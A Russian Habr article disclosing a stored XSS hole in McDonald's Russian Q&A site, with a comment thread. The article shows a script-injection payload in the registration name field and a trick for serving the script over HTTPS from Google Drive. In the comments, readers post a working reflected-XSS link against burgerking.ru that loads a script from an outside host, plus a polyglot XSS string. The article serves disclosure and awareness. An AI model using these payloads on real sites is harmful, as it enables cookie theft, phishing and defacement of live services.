Вся информация предоставлена исключительно в ознакомительных целях. Я не несу ответственности за любой возможный вред, причиненный материалами этой статьи.
Все началось, когда обычным майским днем я наткнулся на сообщество ВКонтакте, публикующее забавные вопросы людей о продукции Макдоналдс, которые они задавали на некоем сайте. Это выглядело примерно так:
![](https://habrastorage.org/web/9f6/b64/0bf/9f6b640bf1454d668421e3b758b44064.png)
Полистав стену, я заинтересовался и решил посмотреть, что же из себя представляет эта платформа для общения с пользователями — ask.mcdonalds.ru.
Краткий экскурс:
Согласно информации, опубликованной у них же, «Сайт призван максимально подробно ответить на вопросы, которые наиболее часто возникают у наших гостей: о составе, безопасности и качестве продукции Макдоналдс — от поля до прилавка. Поэтому в рамках Сайта мы отвечаем на вопросы, имеющие непосредственное отношение к продукции Макдоналдс.»
Я действительно порадовался, с точки зрения клиента здорово, когда я могу задать вопрос о продукции и получить на него адекватный ответ.
Обнаружение уязвимости
Далее я решил зарегистрироваться и попутно проверил, как экранируются символы, передающиеся посредством формы регистрации. Какого же было мое удивление, когда я увидел, что на страницу в итоге все выводится «как есть». Простой пример:
![](https://habrastorage.org/web/d08/dca/819/d08dca8197b0424d9347fd97324975f7.png)
Таким образом мы видим сразу наличие Stored XSS, которую может использовать каждый, кто пожелает, поскольку обнаружить ее очень просто (кстати, ну и кроме этого, на сайте также присутствует пресловутая logout CSRF).
То есть мы вместе с обычными на первый взгляд именем и фамилией также передаем посредством формы что-нибудь наподобие
<script src=http://site.com/AnyDangerousScript.js></script>
и получаем возможность выполнения любого нашего скрипта на главной странице сайта при выполнении далее нехитрых действий, но обо всем по порядку.
Я решил проверить уязвимость снова:
![](https://habrastorage.org/web/a35/bdd/54d/a35bdd54d4714fbc93bcec8fce4ebf17.png)
Интересный факт
Если вы вдруг захотите еще и прочитать то самое «положение об обработке и защите персональных данных», то сделать это вы, увы, не сможете, поскольку по адресу mcdonalds.ru/legacy нас ждет 404 и вот это
![image](https://habrastorage.org/getpro/habr/post_images/563/cf5/202/563cf5202d9d8423330c38c5af8556a3.jpg)
![image](https://habrastorage.org/getpro/habr/post_images/563/cf5/202/563cf5202d9d8423330c38c5af8556a3.jpg)
Но в этот раз код не выполнился. Открыв консоль, я увидел следующее:
![](https://habrastorage.org/web/929/29e/c74/92929ec747b74a86b696074afde40d75.png)
В данном случае, страница передана по протоколу HTTPS, но также содержит контент, передаваемый по обычному, открытому HTTP (мой скрипт). Тогда соединение считается частично зашифрованным, а сама страница называется страницей со смешанным содержимым.
То есть здесь важно, чтобы и скрипт тоже передавался через HTTPS.
Я задумался, где же будет проще всего разместить файл скрипта в таком случае и вспомнил про Google Диск. И именно облачное хранилище от Google здесь придет на помощь, и нужный файл я без проблем получу по защищенному протоколу.
Любой файл, хранящийся у вас на гугл диске, может быть доступен непосредственно по прямой ссылке. Получить ее совсем не сложно:
Делаем файл доступным по ссылке и получаем что-то вроде
https://drive.google.com/file/d/AAAAAAAAAAAAAAAAAAA/view?usp=sharing
затем берем значение после drive.google.com/file/d/, в нашем случае «AAAAAAAAAAAAAAAAAAA», и подставляем его как значение параметра id в ссылку вида
https://drive.google.com/uc?export=download&id=
Вот и все, теперь нам достаточно зарегистрировать аккаунт, имя которого будет содержать наш код, затем задать какой-либо незатейливый вопрос, дождаться, пока на него ответят и он будет размещен на главной странице.
![](https://habrastorage.org/web/46b/ad8/ed2/46bad8ed255648a7b9b69ecc8376b3c9.png)
То есть мы получаем возможность выполнить любой код на главной странице сайта.
![](https://habrastorage.org/web/7b8/96d/75e/7b896d75ea6e487e8bbd397bb2e79208.png)
Последствия наличия такой уязвимости
Говорить о том, что такое компания Макдоналдс, я думаю, будет излишним. Для настолько крупной компании наличие подобной уязвимости, а точнее эксплуатация ее злоумышленниками, может привести к серьезному экономическому ущербу.
Поскольку это хранимая уязвимость, происходит внедрение собственного (возможно, вредоносного) кода на сервер, выполняющегося каждый раз у пользователя при обращении к оригинальной странице.
И если представить, вариантов использования масса:
- слежка за посетителями
- фишинг
- добавление своих рекламных партнерских программ на сайт
- распространение вредоносного ПО
- и многое другое.
А если бы такая уязвимость попала в руки их конкурентов на рынке? Здесь можно действовать еще интереснее, поскольку таким образом имеется полный доступ ко всему содержимому страницы, они могут к тому же изменять текст как вопросов, так и ответов, формируя фальшивые вопросы-ответы, выставляющие всю компанию в дурном свете, или даже рекламируя свою продукцию, что приведет к формированию отрицательного имиджа, потере лояльности клиентов и в перспективе потере части клиентов вообще. Такое использование может быть незаметно на первый взгляд и обнаружение могло бы затянуться.
Да и сам по себе deface сайта опасен, поскольку содержимое именно главной страницы сайта, куда заходит больше всего людей, может быть изменено.
Сообщение компании о наличии уязвимости и итог
Проверив все еще раз и убедившись, что уязвимость присутствует стабильно и не является результатом моего субъективного взаимодействия с сайтом, я решил сообщить компании о ее наличии.
Я обращался на различные электронные адреса, указанные на сайте, писал в сообщения официального сообщества ВКонтакте и на Фейсбук, ответили мне только на Фейсбук, сказав, что все подробности я могу отправить непосредственно им, что я и сделал. Прошло некоторое время, но ничего исправлено не было, я еще раз написал напоминание, что уязвимость все еще присутствует, но ответа не последовало. На данный момент прошло уже более 2 месяцев с момента сообщения всех подробностей, к сожалению, ничего так и не исправлено.
Эксплуатировать уязвимость я не намерен, посему надеюсь, что эта статья также поможет донести информацию до компании, и уязвимость будет исправлена.
Upd.
Как такового негативного эффекта сразу после публикации статьи быть не должно, поскольку перед публикацией так или иначе все вопросы модерируются, и должно пройти время, как минимум, пока на ваш вопрос напишут ответ.
Поделиться с друзьями
user452
rananyev
А что останавливает? :)
LionZXY
Слишком большой скрипт. Ругается на длину имени
KorDen32
Делаем ссылку на js, в котором document.write, по желанию изменяемый
LionZXY
Да это понятно :) В любом случае, в качестве теста — почему бы и нет. А вот такой скрипт — нет уж
Antelle
Ожидал увидеть другое под катом.
QtRoS
kekekeks
Дефейс хабра 2008-го года поди уже не помнит никто. Или просто не застали.
sidristij
С чёрным властелином-то? :D
iClo
Он увековечен на Лурке, такое не забывается :)
YaMishar
«Что должен сделать хакер, чтобы заработать на чизбургер?»
povargek
500 чизбургеров скорее
hdfan2
Как хорошо, что в Макдаке нет солонок.
oxidmod
На сколько я знаю все региональные мак-даки всего лишь шраншиза. Это обычная «Рога и Копыта», которая купила право на вывеску, и сделан сайн таким же ООО «Подвальный Вася Девелопмент» за бесплатный биг-мак))
anador
У компании есть официальное представительство в России, и сайт принадлежит не какому-то одному провинциальному ресторану, открытому по франшизе.
kamenevn
Официальный представитель заказывает услуги создания сайта у PR компании «X» которая забирая часть денег передает это задание компании «Y», которая ищет кого-то за дешево, кто может сделать сайт и имеем, что имеем) Работает это как-то так
Itachi261092
если кому то интересно про макдаки — могу много рассказать. у меня жена там работает. Обычно сеть распределена по регионам. то есть за конкретный регион отвечает какой то один ген-дир, который следит за всеми точками своего региона. занимается их продвижением и развитием. делается там всё по стандартам, диктуемым свыше. есть разного уровня проверки и экзамены. просто так с улицы бомж вася не может придти и стряпать вам бургеры. всех заставляют проходить обучение. начиная от младших сотрудников и заканчивая управленческим персоналом. поэтому юридически все макдоналдсы это российские юрлица работающие по франчайзи, и как правило, все они содержат целый регион ресторанов а не 1 точку. их заставляют и вынуждают расширяться и открывать всё больше точек. одного ИПшника или ооошника который откроет один ресторан и будет с ним сидеть — никто там держать не будет. но по качеству хавки получается так, что главное управление макдональдса следит за соблюдением технологий как у поставщиков так и на местах насколько это возможно. в зависимости от места и отношения конкретного директора к правилам и нормам, качество обсулуживания может варьироваться от наивысшего до убогого. Причём лучше всего качество должно быть там, где большой нескончаемый поток клиентов — там правила нарушать сложнее всего и продукция просто не успевает портиться и остывать. если же точка расположена неудачно и поток покупателей переменный, могут быть ситуации когда директор закрывает глаза или даже сам заставляет делать так, чтобы работники не соблюдали таймера на продукцию. то есть пирожки и котлеты, а также картошка и продукция, выложенная из пакетов и холодильников, вся ставится на таймеры от 5 до 25 минут. если она пролежала это время и её не пустили в ход — она должна быть списана по правилам. и её должны выкинуть. в точках с переменным потоком клиентов, это может быть экономически не выгодно и поэтому эти сроки нарушаются. чаще всего это происходит с пирожками и редко покупаемыми товарами. опасности для здоровья это не несёт, но вкус может значительно пострадать. Также есть ситуации когда чмошные менеджеры или директора разбавляют сироп и молочный субстрат для мороженки. на сиропе это сложно заметить, а вот если вам дают рожок который сразу же начинает течь — значит молочная смесь была разбавлена водой (или более редко — не правильно приготовлена или оборудование неисправно). менеджеры которые обслуживают точку, скорее всего сладкоежки, и на халяву жрут мороженку, а чтобы восполнить недостачу доливают в баки воду =))) на такое сразу надо жаловаться директору и писать в жалобную книгу. менеджеров скорее всего уволят. несколько таких жалоб подряд — и уволят директора.
dmitry_dvm
Несколько лет назад читал интервью с каким-то высокопоставленным чуваком из макдака, он говорил, что все "рестораны" в России их собственные.
kamenevn
Что-то мне подсказывает, что это не так. По крайней мере посмотрите в разных ресторанах на чеки, там печатается название юр. лица. В Екатеринбурге, например, в Маке на вокзале и в Маке в центре разные ОООшки были.
Arzanis
Ничего не значит. В России почти никто не регает все точки под одно юр.лицо.
Можете проверить в любой сети.
alexey-m-ukolov
Более того, в Екатеринбурге владелец ресторанов не так давно менялся — кто-то у кого-то их купил.
danial72
Раньше был 1 владелец, ныне сеть в РФ разбита на 2 части: ООО «СПП» и Старая компания. Старая компания — истинно макдональдовский менеджмент и затраты, СПП — Компания стремящаяся к дичайшей экономии и прибыли.
vehicross
А где Вы здесь нашли противоречие? Все эти ОООшки могут принадлежать какому-нибудь АО Макдональдс Рус, 100 процентов акций которого, кстати, в свою очередь могут быть во владении какого-нибудь McDonalds Inc. Что автоматически делает все эти, как Вы сказали, ОООшки американскими ресторанами не только в плане бренда, который они используют, но и в плане того, в какую страну в итоге уходят деньги.
Sing
Да. теперь это не так. Франчайзинговая система в РФ у них работает с 2015.
zikasak
Вроде, только в Сибири. Хотя могу ошибаться.
Alex_333
В 2014 году мак начал работать по франшизе в РФ. До этого да, все их «рестораны» были собственные. Но это не просто франшиза — отдельный ресторан вроде как открыть не получится.
«Нам интересны партнеры, которые могут не просто открыть один или даже несколько ресторанов. Мы заинтересованы в долгосрочном сотрудничестве и ищем тех, кто способен взять в управление не просто ресторан, а целую территорию» (с) Алексей Семенов, управляющий директор «Макдональдс» в России.
Movimento5Litri
Там франшиза но особенная.
Владелец должен иметь хотябы половину капитала, не должен иметь других бизнесов и должен сам стоять у кассы.
gurux13
Если кто-то, как и я, заинтересовался, воспользовался ли кто-то ещё этим методом, то на 210 страницах (это всё) пока что два имени со скриптом, Евгений Колчин и Савелий Баженов.
anador
И оба это мои аккаунты
MnogoBukv
Ну автор понял, да, что не только админам сайта, но и кулхацкерам и простым айтишникам просто в лом что-либо тут делать. Никому нафиг, видимо, не нужен какой-то там сайт с глупыми вопросами про картошку. Это ж не банк, много не унесёшь…
compudza
Я однажды написал «alert('Админ очищай ввод')» одному пивному ресторану в гостевой книге. Потом они обратились в милицию(sic) по поводу взлома и я имел бледный вид.
Dreyk
вычислили по почтовому голубю?
compudza
Я же прятался, я помочь хотел, вычислили провайдера по ip, а провайдер вычислил меня.
compudza
* не прятался…
dalex_v
А что за это деяние хотели пришить? ну вроде не взлом (или взлом?). Ущерб навряд ли какой нанёс, сайт не испортил, функциональность сайта не пострадала, скорее всего. Где та грань, после которой УК начинается? А то так и за в нике статью припишут.
compudza
Там проблема была, как я понял, в админе, он два дня не мог JS отключить и из-за алерта ничего не мог делать с отзывами. Т.е. он два дня «чинил» сайт.
Пришить — не знаю, т.к. решилось всё раньше: милиция позвонила провайдеру, провайдер позвонил мне (т.к. мы пиво вместе пили =) и всё закончилось тем, что мне пришлось звонить в ресторан, извиняться и объяснять, что я не хотел портить ничего, а хотел предупредить о проблеме. Больше милиция никого не трогала, шел 2003 год… А сейчас могли бы и палку срубить, кулхацкера скрутить, имхо.
compudza
Именно по этому я и рассказал свою историю. Иногда добрые намерения приводят к недобрым последствиям. Не все понимают взлом как помощь. Как вариант: кто-то напишет статью по мотивам поста типа «Хакеры взломали МакДак и два месяца воровали данные пользователей» и в МакДаке сверху вниз начнут бить по шапкам. Надо будет крайнего искать, а от вот… И закрутится маховик правосудия! ттт
kowap
Там регистрацию скрыли. Просто display:none на попап поставили :D
anador
У меня лично ничего не скрыто
![image](https://habrastorage.org/getpro/habr/comment_images/216/eb9/4dd/216eb94dd685f8331ea6e9bde36bc4d5.gif)
kowap
Оу, видимо вход только для юзеров из россии![](https://habrastorage.org/web/366/8f5/000/3668f500093041c28a81158202c34279.png)
anador
Да, так было и ранее, это у них по-умолчанию принято. Вот цитата из FAQ
![image](https://habrastorage.org/getpro/habr/comment_images/3bf/1f9/42c/3bf1f942c29591c4358d4df1fc1e90b9.png)
inwady
Сайт кто-то сломал. Все вопросы скрыли. Вот картинка.
Тут конечно очень странная ситуация со «взломом». Может было лучше, если никто бы об этом не знал?
inwady
Так, эта история была бы у mcdonalds и у вас. Сейчас же она у всего habr-а. Может быть у этой «франшизы» просто нет ресурсов и программистов закрыть ее, может быть люди не имеют необходимых знаний для понимания этой уязвимости. Боюсь, что эта история не закончится увольнением рядовых администраторов сайта (что уже достаточно печально).
Fafhrd
Это проблема не администраторов, а криворуких разработчиков.
nmk2002
Сейчас зарегистрироваться не получилось. Выскакивает сообщение:
«Необходимо заполнить поле «Согласие на обработку персональных данных».»
Само согласие теперь добавили в форму регистрации полным текстом.
Пока на хабр не напишешь об уязвимости, никто ничего делать не хочет. А теперь похоже засуетились.
rananyev
Так, а мне надо писать статью на habr с этим?
https://burgerking.ru/search?txtSearch=2134%22%27--!%3E%3C/Title/%3C/Style/%3C/Script/%3C/Textarea/%3C/Noscript/%3C/Pre/%3C/Xmp%3E%3CScript%20/K%3Es = document.createElement('script'); s.src = '//ananev.me/xss.js'; document.body.appendChild(s);%3C/Script/%3E#
mitinsvyat
рефлектед ток в лисе норм пашут :'(
Illanius
Спасибо большое за ссылку. Она сделала мой день =D
rananyev
Вот еще прикольное. Можно к ним на тусу сгонять в Мск http://internal.burgerking.ru
Ой, да, точно
<!'/*!"/*!//'/*//"/*--!><Input/Autofocus/%0D*/Onfocus=alert(document.domain)//>
![image](https://habrastorage.org/web/d19/174/b8c/d19174b8ca5a40b19a2fd02056c8a0cd.png)
noroots
Не удивлюсь, если сайт делали в Yumalabs. В списке клиентов они есть. Те, кто знает директора, поймет.
Fafhrd
Это не они.
Не стоит обвинять их, какие бы они не были.
В гугл с запросом Разработка ask.mcdonalds.ru
Смотрим 3-ю строчку
smilyfox
Посмотрел портфолио разработчиков — ткнул в первый попавшийся сайт — «Общественная приемная города Жуковский» — css там тоже в наличии. У ребят системный подход к своей работе )))
w9w
Делал похожий дефейс на платёжной системе, 2 000 alexarank в мире, щедро заплатили.Позволяла воровать cookies у юзеров, а также токены для доступа к их файловому хранилищу.